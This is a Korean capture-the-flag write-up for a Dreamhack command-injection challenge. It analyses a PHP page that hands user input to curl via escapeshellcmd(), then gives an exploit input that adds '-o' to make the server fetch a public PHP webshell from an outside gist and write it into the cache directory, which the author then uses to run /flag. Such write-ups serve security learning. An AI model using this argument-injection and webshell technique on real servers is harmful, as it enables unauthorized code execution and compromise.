Wargame/Pwnable

[Dreamhack] Command Injection Advanced | write-up

0xmausike 2025. 12. 8. 04:21

Problem

https://dreamhack.io/wargame/challenges/413

 

Source Code

# index.php
<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

코드 분석

  1. get으로 url이라는 파라미터를 받는다.
  2. url의 시작부분이 http로 시작해야한다.
    if(strpos($url, 'http') !== 0 )
  3. 해당 파라미터는 escapeshellcmd()함수를 거쳐 'curl (url)' 명령어가 실행된다.
    $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
  4. 명령어 수행 결과값이 ./cache/ 디렉토리에 url 파라미터를 md5 해시값으로 변환한 값을 파일 명으로 저장한다.

취약점 분석

일단 PHP 함수에 대해 찾아봤다.

escapeshellcmd()
https://www.php.net/manual/en/function.escapeshellcmd.php
해당 함수는 쉘을 속여서 실행하는데 사용될 수 있는 문자들을 escape 해주는 함수다.

그러나 이 함수에서 스페이스바와 '-' 문자는 escape를 해주지 않는다는 것을 확인했다.

curl 함수에서는 -o 플래그를 입력하면 입력받은 url의 응답을 뒤에 오는 경로에 저장할 수 있다.

ex) curl http://127.0.0.1 -o ./path

Exploit

코드에서 php를 사용하고 있었으니 인터넷에서 간단한 웹 쉘을 가져왔다.

https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

해당 파일을 Raw로 가져와 한번 현재 디렉토리에 생성해봤다.

# url 파라미터 입력
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php -o ./webshell.php

 

Tip : 웹 서버는 확장자가 php가 아니라면 html로 판단해 반환한다.

 

해당 경로로 직접 접속해보니 Not Found 응답이 나타났다. 이를 통해 웹 서비스 계정이 그 디렉토리에 대한 쓰기 권한을 갖고 있지 않을 가능성을 의심했다. 코드 분석 결과, 애플리케이션이 cache 디렉토리에 파일을 생성한다는 사실을 확인했고, 이를 기반으로 해당 디렉토리에 웹 쉘 업로드를 시도했다. 이후 업로드된 경로로 접근하자 웹 쉘을 정상적으로 사용할 수 있었다.

webshell 획득

 

웹 쉘을 얻고 정보 수집를 진행하는데, 아까 의심했던 디렉토리 쓰기 권한이 실제로 없는 것을 확인했다.

drwxr-xr-x   1 root root  4096 Dec  7 18:49 ..

 

이후 플래그 찾으러 탐색 중에 루트 디렉토리(/)에서 flag 파일을 발견했다.

 

실행 권한이 있기에 /flag 파일을 실행하니 FLAG를 획득할 수 있었다.